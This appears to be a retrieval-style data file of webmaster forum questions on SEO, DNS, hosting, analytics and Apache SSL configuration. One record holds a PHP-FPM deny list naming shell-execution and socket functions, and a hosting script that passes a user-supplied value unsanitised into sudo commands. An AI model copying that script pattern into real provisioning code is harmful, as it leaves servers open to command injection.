{"id":"29156","title":"Why is there a difference between Google sitelinks in .com search results and local results?","text":"I get sitelinks for a Dutch website in the Dutch search results, where I don't see them for the international (.com) results. Why? See difference between: www.google.nl\/search?q=delta+birding and: www.google.com\/search?q=delta+birding UPDATE: I figured out it has something to do with language settings (language in URL, maybe language of browser?): See: www.google.com\/search?q=delta+birding&hl=nl and www.google.com\/search?q=delta+birding&hl=en"}
{"id":"25868","title":"VPS vs Dedicated JVM Java Hosting","text":"I have noticed that a hosting site has given 2 options VPS vs Dedicated JVM Java Hosting. will i be able to achieve same result using both options eventually or is one more limited ?"}
{"id":"10046","title":"Hosting and domain registrations for multiple clients under a single hosting account of mine?","text":"I am finally getting regular work designing, developing, and deploying websites for small businesses and individuals. So far the websites utilize single-user content management systems, so the websites create, as far as I know, minimal load on the shared servers. I have always required that each of my clients purchase annual shared hosting at Dreamhost. For domain registration, I ask that they register with Dreamhost, but some already have a registered domain elsewhere and this is fine with me. I do this so the billing issues are the client's responsibility, not mine. **My question is** : Since I can register unlimited domains and connect them to my one shared hosting account at Dreamhost, should I not be requiring clients to individually pay for shared hosting and a domain? Should I actually be paying for one hosting account and then hosting all of my client's websites on that account? As I said before, I currently have each client buy their own hosting, because I feel that, for example, if there is high traffic to their site, there would be less a chance of the site going down than if their site was hosted with many others on one account. I am famous for being long-winded, please let me know if I can clarify at all. Thanks!"}
{"id":"29150","title":"Can't get Event Tracking To Work","text":"I'm trying to get an event to be tracked (user registration) as a goal. I DON'T want it to be tracked by an onclick, I want it to be tracked once a PHP event is finished. Here is my code: if(USER REGISTRATION SUCCESSFUL): <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_trackEvent', 'SignUp', 'Registered', 'User Registered']); <\/script> endif; The regular Google Analytics Code is in the footer just before the \/ body. On the register page that code is being triggered in the middle of the page. But the completed goals aren't showing up in Google Analytics, any idea why? Note: PHP simplified since it doesn't really pertain to this question."}
{"id":"25862","title":"Installing Wordpress on LAMP server but Using a Directory on Windows Server","text":"The main site is running on a windows server. I want to install and run wordpress from a LINUX box at the following Directory. example.com\/blog\/ What is the most suitable method to make this work? Can I create a directory that points to an IP address in the DNS? Thanks in advance"}
{"id":"57920","title":"What is best for SEO own site or redirect to existing site with that product?","text":"I helped someone with a shopify shop which sells products for securing items e.g. clamps, tie boss, shockstrap. The site is called quickfistclamps.co.uk. We currently have a page for these individual products. We also bought shockstrap.co.uk and tieboss.co.uk which both redirect to the individual product pages on the quickfistclamps.co.uk site. What I was wondering is how beneficial would it be to create a separate site to advertise these products under there specific domain names (shockstrap.co.uk and tieboss.co.uk) and then show them they can purchase them through the other site (quickfistclamps) compared with the current redirect?"}
{"id":"67393","title":"Is adding authorship to content provided by an API damaging for SEO?","text":"I've launched a website that has tide data and maritime weather for a number of UK seaside locations. Each location on my site has a 7 day forecast of tide and weather for that given location. This data is provided by an external source (UK hydrographic office) and displayed on the page (mainly as figures in tables). There isn't much else in the way of content on each location (here's an example of typical content of a location page: `www.ketosea.com\/location\/conwy`). I've added the article structured data to the page, but would adding authorship (my Google+) damage my SEO, as I'm not the writer of the content per se? Obviously if it was a blog post or user generated content, I wouldn't even question adding authorship. I've read through a number of articles regarding the importance of authorship, but I'm obviously keen to avoid any damage it would have to the indexing process. Google has only indexed 6 pages of over 1200 with no crawl errors or recommendations in Webmaster Tools, and am curious to know if authorship will improve this."}
{"id":"23333","title":"WMT Change of Address Question","text":"I may be splitting hairs here, but the Change of Address form on WMT states \"new\" domain: > If you've moved your site to a **new domain** , you can use the Change of > address tool to tell Google about your new URL. We'll update our index to > reflect your new URL. Changes will stay in effect for 180 days, by which > time we'll have crawled and indexed the pages at your new URL. If I am moving a site (Site A) to a domain I already own (Site B) that has been active for a long time, should I use the Change of Address form? I've done the 301 redirects, and that all looks clean, but if Site B has a much broader scope than Site A, is the Change of Address for appropriate? Site A is effectively a subset of Site B. Edit: This great webmaster tools video explains this pretty well, but my scenario is slightly different in that a domain is effectively \"absorbing\" another domain. In the video all three domains end up somewhere new."}
{"id":"23335","title":"Generic updater for php-applications and other webapps","text":"I administer a few servers, on some of which are a lot of users which happily deploy mediawikis and oder php-applications. This gives me headaches since there are often old versions of them lying around. Is there something like an automatic upgrader for php-applications and other web-apps? I know some of them are in the repositories (I use debian and ubuntu), but those are often too old versions to be used."}
{"id":"23337","title":"Sudden connection problems with Akismet","text":"I've had the Akismet anti-spam plugin installed and working great on two of my non-commercial Wordpress blogs for the past couple of months. Both sites are using my same API key. Today, on one blog I'm getting hit with an unusually high number of spam comments. About 35 in 24 hours rather than the one or two per day. On the other less popular blog, no new spam. The problem is that the spam is not getting flagged, only held for moderation. On the comments page, I'm getting this message: > Akismet has detected a problem. A server or network problem prevented > Akismet from checking 3 comments. They have been temporarily held for > moderation and will be automatically re-checked in 14 mins. On the plugin configuration page, I get this: > The key below was previously validated but a connection to akismet.com can > not be established at this time. Please check your server configuration. The Akismet Configuration page is loading very slow and sometimes the error clears and the moderated comments are flagged. Then the error returns. The Server Connectivity section always shows everything is good though: > Server Connectivity > All Akismet servers are available. > Akismet is working correctly. All servers are accessible. I've updated Wordpress to the latest (v3.3) and all plugins are up to date. Yes, it's obvious there is an intermittent problem connecting to Akismet; but why\/where? So I'm wondering if others are experiencing the same issues today or if there is something new going wrong with my installation, server, etc. I need to fix."}
{"id":"37833","title":"Dofollow or Nofollow trackbacks?","text":"Thinking about SEO, is it better that they are _dofollow_ trackback or _nofollow_ trackbacks? When I write a post on my blog, I automatically send trackback to my site from http:\/\/bitacoras.com. The above link is dofollow. Is it advisable to give relevance to this link in also handling dofollow link? For example any domain on the homepage has pagerank 3. This site has a pagerank 0 of the internal page that I send trackbacks to. Is it convenient to send dofollow links to that page to increase the pagerank? Will they increase my pagerank if I perform this operation?"}
{"id":"34565","title":"Which affiliate offer non-standard 250x90 banner ad size?","text":"Do you know any affiliate that offers this non-standard banner ad size?"}
{"id":"34207","title":"Should I have seperate business and personal websites?","text":"I have my business website - I am a web designer and developer, and also buy\/sell websites\/domain names. As such my website links to 'Our sites' => the websites which we design and run as well as a variety of tools such as a domain whois tool. These are obviously relevant to the business. As an individual, I like to travel and do white water kayaking as a hobby. I also have a degree in economics. I have thus created a blog on my business website where I write about domain names, web design, kayaking, travelling and economics. I've just begun researching SEO and am looking into optimizing my business website. I don't actually directly offer any services to clients at the moment, my main aim is to have a business website which supports my websites. If for example a potential advertise on one of my sites checks out the business website, I want them to think professional, down to earth, quirky. Given this is having my business\/personal interests intertwined a problem? For SEO.. on my homepage for example when I'm writing a headline and a paragraph about what we do.. what do I put? and how do I optimize for SEO with keywords and the like? Further to the above, my company sponsors me and a group of accquantances as a kayaking team.. as such my personal interests do sort of overlap (just to add a complexity :))"}
{"id":"8577","title":"HTML5 Semantics - H1 or H2 for ARTICLE titles in a SECTION","text":"It's my understanding (based from this chapter of Dive into HTML5: http:\/\/goo.gl\/9zliD) that it can be considered semantically appropriate to use H1 tags in multiple areas of the page, as a method of setting the most important title for that particular content. **If I'm using this methodology, and I have a SECTION which I've assigned an H1 of 'Articles', should I use H1 or H2 to define the titles for ARTICLEs in that SECTION?** This is a bit confusing to me as the article titles are the most important heading for their ARTICLE, but are also 'children' of the SECTION's title. _Example code:_ <section class=\"article-list\"> <header> <h1>Articles<\/h1> <\/header> <article> <header> <h2>Article Title<\/h2> <time datetime=\"201-02-01\">Today<\/time> <\/header> <p>Article text...<\/p> <\/article> <article> <header> <h2>Article Title<\/h2> <time datetime=\"2011-01-31\">Yesterday<\/time> <\/header> <p>Article text...<\/p> <\/article> <article> <header> <h2>Article Title<\/h2> <time datetime=\"2011-01-30\">The Day Before Yesterday<\/time> <\/header> <p>Article text...<\/p> <\/article> <\/section>"}
{"id":"52505","title":"How can I track clicks on various links pointing to same redirect using Google Analytics?","text":"I'm doing a marketing campaign for an app where I'm targeting different schools. I want to know how many people have clicked on each link. The number of schools is pretty big, so I don't want to create a separate redirect or bit.ly for them each. Ideally, this is how it could work: Set up `.htaccess` to redirect `mysite.com\/download` to go to the app store, then I post different links for different schools with the formats like: `mysite.com\/download\/someschool` and `mysite.com\/download\/otherschool`, and get analytics on how many people clicked on each link. However, Google Analytics won't log this because the redirect happens before the code is run (or so I hear), and now I'm not sure what else to do. Any help would be appreciated."}
{"id":"68986","title":"Google Analytics for cookie-based A\/B testing (same URL for A and B)","text":"I have a website with share-friendly URLs like `example.com\/register` I implemented A\/B testing as a cookie because I don't want ugly unsharable URLs like `example.com\/registerA` and `example.com\/registerB`. What is the best practice to see A\/B testing in Google Analytics, even though the URL is the same?"}
{"id":"42302","title":"How to make Htaccess file call external IP block lists?","text":"Well, I don’t know if this is an easy thing to do, but I haven’t figured it out yet. Instead of continually updating my Htaccess file with newly updated country IP block lists (because my htaccess file is now as long as a trip to the moon), I’d like to include some bit of code in the main htaccess to “call” different IP lists, so I can easily re-upload a newly updated country ip block list to a folder of blocked countries (i use http:\/\/www.ipdeny.com\/ipblocks\/ for my lists) FOR EXAMPLE: random website folder random website folder random website folder .HTACCESS Countryblocklist folder ------inside this folder , --->deny_nigeria.txt --->deny_china.txt --->deny_russia.txt ---->deny_any_other_country.txt Can anyone help me out with what code I could use inside the Htaccess to be able to call these foldered ipblock txt files??? (and please no jibes at me blocking countries lol, i really need to for my business, as hundreds from these countries have been playing havoc with my site for years now, also I cant use geo-ip thing, as i use bluehost for hosting) Cheers guys."}
{"id":"33284","title":"Do web hosts really mean 'Unlimited'?","text":"I'm developing a webapp where my users can save a lot of images,videos and audios on my site.So I need a hosting service which offers large disk space.Many hosting services say 'Unlimited',so do they really offer disk space in GBs and TBs?"}
{"id":"15254","title":"How can I make a site with 1.300.000 pages?","text":"Yeah I know, it's not a joke.....I really need some advice on how I could create a web site which could handle 1.300.000 ref. or more Currently I'm running a dedicated server with 2mo ram and 1.6 proc, with a drupal 7 install and mysql 5.1, but the database keeps crashing and the load of the server is really awful!!! I was looking into an Apache Solr solution but still don't see how it will resolve my problem I tried some solution with full xml page (no databases) or just html but nothing is working...I'm probably missing something here, but what, I can't see!!! Does anyone have some light to shade on my problem?"}
{"id":"35740","title":"How to recover organic position in Google results after server down?","text":"I have several sites that were doing quite well in terms of organic SEO rankings. I have the important sites setup in Google's Webmaster tools. Long story short, the system was down for about two weeks. Now in AdSense and Analytics, I am seeing that the page views are SLOWLY increasing. and I would like to know if there is anything I can do now to try to expedite the process of regaining those positions. Since there were several errors from that server, is it possible that Google will now rank any site from that IP address lower due to those two weeks of errors? Is this something that I just have to let ride out? Thanks."}
{"id":"31423","title":"Do easy scripts like this make site traffic meaningless?","text":"Do easy scripts like this which generate can traffic massive amounts of traffic in a way that seems 'natural' make site traffic meaningless? Essentially we are getting better and better at faking site traffic, at what point does a metric like 'visits' lose it's meaning?"}
{"id":"31420","title":"Is there a weight for html link?","text":"I would like to know if there is any weight associated with a html link (its backlink) when google does crawling\/indexing. Will 1,2 & 3 be ever considered as a backlink by Google? 1. <a href=\"xyz.com\">1<\/a> \/\/ one character link 2. <a href=\"xyz.com\"> <\/a> \/\/blank space link 3. <a href=\"xyz.com\">!<\/a> \/\/special character link 4. <a href=\"xyz.com\">keyword<\/a> \/\/meaningful word link I hope my question is understandable and guess this is right forum. I don't know to put it in other words."}
{"id":"7405","title":"Have search engines recognise multi-lingual sites","text":"I have organised my site by language using the following structure: www.domain.com #spanish language version homepage www.domain.com\/en #english language version homepage The site is of Spanish subject matter hence Spanish language takes priority at root of domain. Although the site is new at this stage I would hope searching for the domain from google.com and google.es would return English and Spanish versions respectively. Are there any particular steps I need take to separate the two. Should I add them both as individual sites in Google's webmaster tools and also should I submit individual site maps for each 'site' or as a whole? Thanks in advance."}
{"id":"7407","title":"How to implement OpenID authentication for my site?","text":"I want to offer OpenID authentication for my users (please note that I do not necessary want to become an OpenID provider; I just need to authenticate my user for my website). How to implement OpenID authentication for my site? What are the requirements?"}
{"id":"39237","title":"Need advice on 301 redirect from hyphenated domain to","text":"I have been an online service since 2005 and have gained some good ranking on Google and other search engines. My domain name is for example is: www.smart-service.co.uk. I have recently got hold of www.smartservice.co.uk (example) and would prefer this domain as it looks a lot cleaner, more professional and less spammy. The website itself is professional and has many corporate customers and I feel the non-hyphenated name would look like we are more serious and not doing business by accident on a second choice domain. The domain has PR6 and Domain Authority of 70. I have read up a lot about doing 301 redirects but everyone has different opinions on whether it hurts rankings much or not. At the same time I feel I have a lot to gain switching over and would don't want to invest more money on SEO on the hyphenated domain if I end up doing it in future. Also another thing to note is that the hyphon domain age is 8 years whilst the non-hyphon is only 4 years, does this matter? It's a bit of a dilemma and wish to have some other opinions on what I should do. Thanks! Aki"}
{"id":"31429","title":"Rendering citations and references in HTML using PHP\/Perl\/Python\/","text":"**Is there a PHP\/Perl\/Python\/... library for picking citations out of an HTML file and rendering a nice list of references at the bottom, like in Wikipedia?** I'm developing a website with heavily-sourced content, and I'd really like to have automatically-generated lists of formatted references, like in Wikipedia. (Check out their philosophy page, and see how the superscript numbered citations interact with the references at the bottom. This is all dynamically generated, automatically ordered & linked.) They do it really well: the citations are linked to the references (which are backlinked to the citations), when you click on one of the links, the target is highlighted, etc. I'm tempted to build the site on MediaWiki just for this one feature, but it seems like overkill. Do I have any options?"}
{"id":"51697","title":"PHP5-FPM reload from web browser: Internal server error 500","text":"I am creating a free shared hosting service for fun and learning. I made a simple form where the user enters the subdomain and ftp password. When the user hits submit, a script generates a linux user encrypts the entered password with crypt() then sends the data to a linux script. Here is the wrong part of the full script: echo \"[$1] user = $1 group = $1 listen = \/var\/run\/sock_$1.sock pm = dynamic pm.max_children = 5 pm.start_servers = 2 pm.min_spare_servers = 1 pm.max_spare_servers = 3 php_value[disable_functions] = \\\"phpinfo, system, exec, shell_exec, passthru , ini_alter, dl, pfsockopen, openlog, syslog, readlink, symlink, link, leak, fsockopen, popen, escapeshellcmd, apache_child_terminate apache_get_modules, apache_get_version, apache_getenv, apache_note,apache_setenv,virtual\\\" php_value[open_basedir] = \\\"\/home\/$1:\/home\/$1\/tmp\\\"\" | sudo \/usr\/bin\/tee \/etc\/php5\/fpm\/pool.d\/$1.conf; sudo \/usr\/sbin\/service php5-fpm reload; As you can see it creates a PHP-FPM pool then reloads the service. When I manually create the pool and also manually reload FPM, it works fine, the new website loads with no problem. The problem that I noticed if I comment out the reload line it creates the pool so there is no problem with file writing but with reloading. So when I submit the post with all the data, it has Internal server error 500. Apache log: [Thu Aug 08 01:43:44 2013] [error] [client xxx.xxx.xxx.xxx] (104)Connection reset by peer: FastCGI: comm with server \"\/vhost_asd_tld\" aborted: read failed, referer: http:\/\/asd.tld\/ [Thu Aug 08 01:43:44 2013] [error] [client xxx.xxx.xxx.xxx] FastCGI: incomplete headers (0 bytes) received from server \"\/vhost_asd_tld\", referer: http:\/\/asd.tld\/ The asd.tld pool: [asd_tld] user = asd_tld group = asd_tld listen = \/var\/run\/sock_asd_tld.sock pm = dynamic pm.max_children = 5 pm.start_servers = 2 pm.min_spare_servers = 1 pm.max_spare_servers = 3 The asd.tld vhost: <VirtualHost *:80> ServerAdmin asd@asd.tld ServerName asd.tld DocumentRoot \/var\/www <Directory \/var\/www> AllowOverride All Order Allow,Deny Allow from all <\/Directory> ErrorLog \"\/var\/www\/log\/asd.tld-error.log\" CustomLog \"\/var\/www\/log\/asd.tld-access.log\" combined CustomLog \"\/var\/www\/log\/asd.tld-bandwidth.log\" common <IfModule mod_fastcgi.c> <FilesMatch \\.php$> SetHandler php-script <\/FilesMatch> Action php-script \/php5-fpm-handler Alias \/php5-fpm-handler \/vhost_asd_tld FastCGIExternalServer \/vhost_asd_tld -socket \/var\/run\/sock_asd_tld.sock <\/IfModule> <\/VirtualHost> OS: Ubuntu Desktop 13.04"}
{"id":"51393","title":"Is it bad only to partly use a fragment of a H1 with Schema Name","text":"The problem that I have is that I have a client that sells local services, he wants to use a H1 that includes both the service and local, no problem there… But the snag is he wants to use as much as Schema as possible, again no problem but with the Service Name + Location within the H1 this brings up a problem in my markup, when I mean problem I don’t mean it doesn’t validate, I like doing things the correct way and for all you who use Schema regularly you know its poorly documented on Do’s and Don’ts so to speak. So for example purposes only because I can’t disclose much information in regards of my client nor the topic due to a NDA being signed, so let’s pretend his\/her company is a hair dressing company that he wants to target Devon in the UK. The H1 would read something like Cut and Blow Devon (I personally dislike the keyword Devon in there but sometimes no matter how hard you try you just can’t convince people what’s best for them) Anyway, so we have Cut and Blow Devon which looks something like (Product is equal to service, as there is no service in Schema): <article itemscope itemtype=\"http:\/\/schema.org\/Product\"> <h1><span itemprop=\"name\">Cut and Blow<\/span> Devon<\/h1> <span itemprop=\"description\">A funky Description will go here<\/span> <\/article> Originally I did have Devon included within the span of itemprop name but it makes no sense, since no service should be called Cut and Blow Devon, Or should it? Anyway, then it got me thinking wouldn't it just be better to use http:\/\/schema.org\/Article as the schema mark up <article itemscope itemtype=\"http:\/\/schema.org\/Article\"> <h1 itemprop=\"name\">Cut and Blow Devon<\/h1> <span itemprop=\"description\">A funky Description will go here<\/span> <\/article> I appreciate everyone who has managed to read though that and now I'll make the question a little more obvious, Would you recommend using article or product, and is it bad to use span **_PARTLY_** within a h1 to define the Schema Itemprop Name."}
{"id":"19081","title":"Do Sell-Side Platforms (SSP) like Admeld or PubMatic cover premium ad inventory selling for publishers?","text":"Large companies may\/may not hire a sales force to sell premium ads. But, for medium or small websites, how do they handle the premium ad inventory with maximum values? What are all available paths to sell their ads?"}
{"id":"51390","title":"Move old site to subdomain in cPanel","text":"I want to move our current website from `www.xyz.com` to `oldsite.xyz.com`, so that I can stick a \"coming soon\" page in it's place. The old site runs on Drupal, which I know nothing about. Am I right in thinking that I need to do the following: * log in to cPanel (which I've never used before) * manually create a new folder called 'oldsite' * move everything from 'www' folder to 'oldsite' folder * put the new html file in 'www' * add DNS entry for 'oldsite' subdomain Should I do anything else? Will internal links still work? What are we supposed to do with the `public_html` folder?"}
{"id":"2814","title":"Why some Google results are drive-by-redirects instead of direct links?","text":"I start noticing that some Google results are links to some Google redirect engine. But almost all the others are direct links. Are they starting to count the clicks to better rank your site? "}
{"id":"51398","title":"Do I need add Meta description for each post?","text":"I used WordPress to setup a website. I want use excerpts as Meta descriptions. Is it necessary to do this?"}
{"id":"68073","title":"Use Multiple A Records but retain main IP","text":"This is really confusing to me. Apparently you can set up multiple A records for your domain. And you do this by adding new A records to DNS editor\/zone. My hosting account grants me 5 IP addresses. Before there existed only 1 A record for my main IP. And that worked fine... when you entered my site's URL (with or without the \"www\"), you got to my site. The thing is, I use all 5 IPs to send bulk email. The rDNS records for all my IPs link to my domain, but the forward DNS doesn't. So to fix that, I needed to create new A records for those IPs, right? And so I did. And the names for all the A records were left blank, I didn't use \"*\", \"@\" or \"www\". That fixed the forward DNS issue for all my IPs. The thing is, each time I went to my site's domain (\"domain.com\"), it returned this page: \/cgi-sys\/defaultwebpage.cgi But when I entered \"www.domain.com\" it went to the correct page (my index page). **What I want to know is:** How can I enable forward DNS for all my IPs, while still being able to access my site without appending \"www.\" to its URL? How do I properly create the necessary A records?"}
{"id":"32151","title":"Is my site hacked, or does Google have problems?","text":"> **Possible Duplicate:** > Titles in Google results contain spammy prefixes I have a webshop online and I have some problems with redirecting from Google. Case 1 When I Google for my site at google.com in Iron SWR (safe Chrome version) and I click the first link I get the correct page. Case 2 When I Google for my site at google.nl in Iron SWR (safe Chrome version) and I click the first link Google will redirect me to a spam site. Case 3 When I Google for my site in Google Chrome and I click the first link Google will redirect me to a spam site. Case 4 When I Google for my site in FireFox and I click the first link Google will redirect me to a spam site. Case 5 When I Google for my site in Internet Explorer and I click the first link Google will redirect me a page that tells me the site is offline. HELP WHAT TO DO? I checked the .htaccess but this file is correct. I checked the index.php file but this one is also correct. What can I do? Hacked or does Google has trouble?"}
{"id":"7139","title":"How can I provide star rating metadata to search engines?","text":"Some search engines (including Google and Bing) display a star rating for things like movies and downloads on sites such as IMDB and cnet.  How can I configure my site to provide this data?"}
{"id":"13264","title":"How do you Google Search without personalization and localisation?","text":"Google Search results are customised based on your location and your search history. Can you do a search that is independent of these factors, so that different users in different parts of the world get the same results for a particular search term?"}
{"id":"6623","title":"How big sites scale up and optimize to massive traffic?","text":"How do sites like Facebook and Twitter optimize their sites for massive traffic. Aside from spending big bucks on getting the best servers, what can be optimized in your code to accommodate massive traffic? I've read about caching your pages to static HTML, but that's impractical for social networking sites where the pages are constantly updated."}
{"id":"26597","title":"How to find similar webdesign to specific sites? (Zendesk \/ Mailchimp)","text":"For a new project we are looking for good webdesign examples. Some of our favorite sites include Zendesk.com or Mailchimp.com. How would you approach to find similar sites? PS: We also appreciate concrete examples if you know any. Thanks"}
{"id":"68060","title":"Is it possible to regain a site's traffic after losing some to a transfer \/ merge?","text":"After merging two sites to a third, using proper 301 redirects and transferring the domains in Google webmaster tools, overall traffic dropped by ~50%. One of the original sites was getting a plenty of organic traffic and had lots of backlinks. I have a feeling there are a few SEO mistakes I made during the merge. This is two part question: 1. If one is diligent in fixing SEO mistakes and patient, is it possible to regain most of a transferred \/ merged site's lost traffic? 2. In this particular case, the traffic loss may have to do with the merged site having ~700 URLs (due to a forum) as opposed to the old site having ~40. Is there a high probability that this is the problem causing the loss in traffic? If not, what is the next thing I should check?"}
{"id":"52849","title":"Basename\/URL reuse and Pagerank","text":"I'm working with an SEO consultant that is recommending basename\/URL reuse. The idea is that Google recognizes a given URL as high value and that URL will maintain value over time if the content is fresh. I'd like to know if this is a valid SEO strategy. So, we'll start with an article under: http:\/\/example.com\/some-search-term Then, a couple of weeks later we'll \"move\" the content: http:\/\/example.com\/some-search-term becomes http:\/\/example.com\/12345 and a new article is published under: http:\/\/example.com\/some-search-term Does this scheme make sense? It seems to break a lot of the assumptions about URLs, for end users (bookmarks break) and third party sites (Facebook like counts point to the wrong content)."}
{"id":"56547","title":"SSL works on https:\/\/dedicatedip but not https:\/\/domain","text":"My SSL certificate works on my apache web server but only when I do `https:\/\/Dedicated_vps_ip`. When I do `https:\/\/domain.com` it just doesn't work. I've tried almost everything. What am I doing wrong? Here is a paste of my ssl.conf file: # # This is the Apache server configuration file providing SSL support. # It contains the configuration directives to instruct the server how to # serve pages over an https connection. For detailing information about these # directives see <URL:http:\/\/httpd.apache.org\/docs\/2.2\/mod\/mod_ssl.html> # # Do NOT simply read the instructions in here without understanding # what they do. They're here only as hints or reminders. If you are unsure # consult the online docs. You have been warned. # LoadModule ssl_module modules\/mod_ssl.so # # When we also provide SSL we have to listen to the # the HTTPS port in addition. # Listen 443 ## ## SSL Global Context ## ## All SSL configuration in this context applies both to ## the main server and all SSL-enabled virtual hosts. ## # Pass Phrase Dialog: # Configure the pass phrase gathering process. # The filtering dialog program (`builtin' is a internal # terminal dialog) has to provide the pass phrase on stdout. SSLPassPhraseDialog builtin # Inter-Process Session Cache: # Configure the SSL Session Cache: First the mechanism # to use and second the expiring timeout (in seconds). SSLSessionCache shmcb:\/var\/cache\/mod_ssl\/scache(512000) SSLSessionCacheTimeout 300 # Semaphore: # Configure the path to the mutual exclusion semaphore the # SSL engine uses internally for inter-process synchronization. SSLMutex default # Pseudo Random Number Generator (PRNG): # Configure one or more sources to seed the PRNG of the # SSL library. The seed data should be of good random quality. # WARNING! On some platforms \/dev\/random blocks if not enough entropy # is available. This means you then cannot use the \/dev\/random device # because it would lead to very long connection times (as long as # it requires to make more entropy available). But usually those # platforms additionally provide a \/dev\/urandom device which doesn't # block. So, if available, use this one instead. Read the mod_ssl User # Manual for more details. SSLRandomSeed startup file:\/dev\/urandom 256 SSLRandomSeed connect builtin #SSLRandomSeed startup file:\/dev\/random 512 #SSLRandomSeed connect file:\/dev\/random 512 #SSLRandomSeed connect file:\/dev\/urandom 512 # # Use \"SSLCryptoDevice\" to enable any supported hardware # accelerators. Use \"openssl engine -v\" to list supported # engine names. NOTE: If you enable an accelerator and the # server does not start, consult the error logs and ensure # your accelerator is functioning properly. # SSLCryptoDevice builtin #SSLCryptoDevice ubsec ## ## SSL Virtual Host Context ## <VirtualHost _default_:443> # General setup for the virtual host, inherited from global configuration DocumentRoot \"\/var\/www\/html\/drummerzwebsites\" ServerName www.mineprowebhost.com:443 # Use separate log files for the SSL virtual host; note that LogLevel # is not inherited from httpd.conf. ErrorLog logs\/ssl_error_log TransferLog logs\/ssl_access_log LogLevel warn # SSL Engine Switch: # Enable\/Disable SSL for this virtual host. SSLEngine on # SSL Protocol support: # List the enable protocol levels with which clients will be able to # connect. Disable SSLv2 access by default: SSLProtocol all -SSLv2 # SSL Cipher Suite: # List the ciphers that the client is permitted to negotiate. # See the mod_ssl documentation for a complete list. SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW # Server Certificate: # Point SSLCertificateFile at a PEM encoded certificate. If # the certificate is encrypted, then you will be prompted for a # pass phrase. Note that a kill -HUP will prompt again. A new # certificate can be generated using the genkey(1) command. SSLCertificateFile \/etc\/ssl\/ssl.crt\/www_mineprowebhost_com.crt # Server Private Key: # If the key is not combined with the certificate, use this # directive to point at the key file. Keep in mind that if # you've both a RSA and a DSA private key you can configure # both in parallel (to also allow the use of DSA ciphers, etc.) SSLCertificateKeyFile \/etc\/ssl\/ssl.key\/www_mineprowebhost_com.key # Server Certificate Chain: # Point SSLCertificateChainFile at a file containing the # concatenation of PEM encoded CA certificates which form the # certificate chain for the server certificate. Alternatively # the referenced file can be the same as SSLCertificateFile # when the CA certificates are directly appended to the server # certificate for convinience. SSLCertificateChainFile \/etc\/ssl\/ssl.crt\/www_mineprowebhost_com.ca-bundle # Certificate Authority (CA): # Set the CA certificate verification path where to find CA # certificates for client authentication or alternatively one # huge file containing all of them (file must be PEM encoded) #SSLCACertificateFile \/etc\/pki\/tls\/certs\/ca-bundle.crt # Client Authentication (Type): # Client certificate verification type and depth. Types are # none, optional, require and optional_no_ca. Depth is a # number which specifies how deeply to verify the certificate # issuer chain before deciding the certificate is not valid. #SSLVerifyClient require #SSLVerifyDepth 10 # Access Control: # With SSLRequire you can do per-directory access control based # on arbitrary complex boolean expressions containing server # variable checks and other lookup directives. The syntax is a # mixture between C and Perl. See the mod_ssl documentation # for more details. #<Location \/> #SSLRequire ( %{SSL_CIPHER} !~ m\/^(EXP|NULL)\/ \\ # and %{SSL_CLIENT_S_DN_O} eq \"Snake Oil, Ltd.\" \\ # and %{SSL_CLIENT_S_DN_OU} in {\"Staff\", \"CA\", \"Dev\"} \\ # and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \\ # and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \\ # or %{REMOTE_ADDR} =~ m\/^192\\.76\\.162\\.[0-9]+$\/ #<\/Location> # SSL Engine Options: # Set various options for the SSL engine. # o FakeBasicAuth: # Translate the client X.509 into a Basic Authorisation. This means that # the standard Auth\/DBMAuth methods can be used for access control. The # user name is the `one line' version of the client's X.509 certificate. # Note that no password is obtained from the user. Every entry in the user # file needs this password: `xxj31ZMTZzkVA'. # o ExportCertData: # This exports two additional environment variables: SSL_CLIENT_CERT and # SSL_SERVER_CERT. These contain the PEM-encoded certificates of the # server (always existing) and the client (only existing when client # authentication is used). This can be used to import the certificates # into CGI scripts. # o StdEnvVars: # This exports the standard SSL\/TLS related `SSL_*' environment variables. # Per default this exportation is switched off for performance reasons, # because the extraction step is an expensive operation and is usually # useless for serving static content. So one usually enables the # exportation for CGI and SSI requests only. # o StrictRequire: # This denies access when \"SSLRequireSSL\" or \"SSLRequire\" applied even # under a \"Satisfy any\" situation, i.e. when it applies access is denied # and no other module can change it. # o OptRenegotiate: # This enables optimized SSL connection renegotiation handling when SSL # directives are used in per-directory context. #SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire <Files ~ \"\\.(cgi|shtml|phtml|php3?)$\"> SSLOptions +StdEnvVars <\/Files> <Directory \"\/var\/www\/cgi-bin\"> SSLOptions +StdEnvVars <\/Directory> # SSL Protocol Adjustments: # The safe and default but still SSL\/TLS standard compliant shutdown # approach is that mod_ssl sends the close notify alert but doesn't wait for # the close notify alert from client. When you need a different shutdown # approach you can use one of the following variables: # o ssl-unclean-shutdown: # This forces an unclean shutdown when the connection is closed, i.e. no # SSL close notify alert is send or allowed to received. This violates # the SSL\/TLS standard but is needed for some brain-dead browsers. Use # this when you receive I\/O errors because of the standard approach where # mod_ssl sends the close notify alert. # o ssl-accurate-shutdown: # This forces an accurate shutdown when the connection is closed, i.e. a # SSL close notify alert is send and mod_ssl waits for the close notify # alert of the client. This is 100% SSL\/TLS standard compliant, but in # practice often causes hanging connections with brain-dead browsers. Use # this only for browsers where you know that their SSL implementation # works correctly. # Notice: Most problems of broken clients are also related to the HTTP # keep-alive facility, so you usually additionally want to disable # keep-alive for those clients, too. Use variable \"nokeepalive\" for this. # Similarly, one has to force some clients to use HTTP\/1.0 to workaround # their broken HTTP\/1.1 implementation. Use variables \"downgrade-1.0\" and # \"force-response-1.0\" for this. SetEnvIf User-Agent \".*MSIE.*\" \\ nokeepalive ssl-unclean-shutdown \\ downgrade-1.0 force-response-1.0 # Per-Server Logging: # The home of a custom SSL log file. Use this when you want a # compact non-error SSL logfile on a virtual host basis. CustomLog logs\/ssl_request_log \\ \"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \\\"%r\\\" %b\" <\/VirtualHost>"}
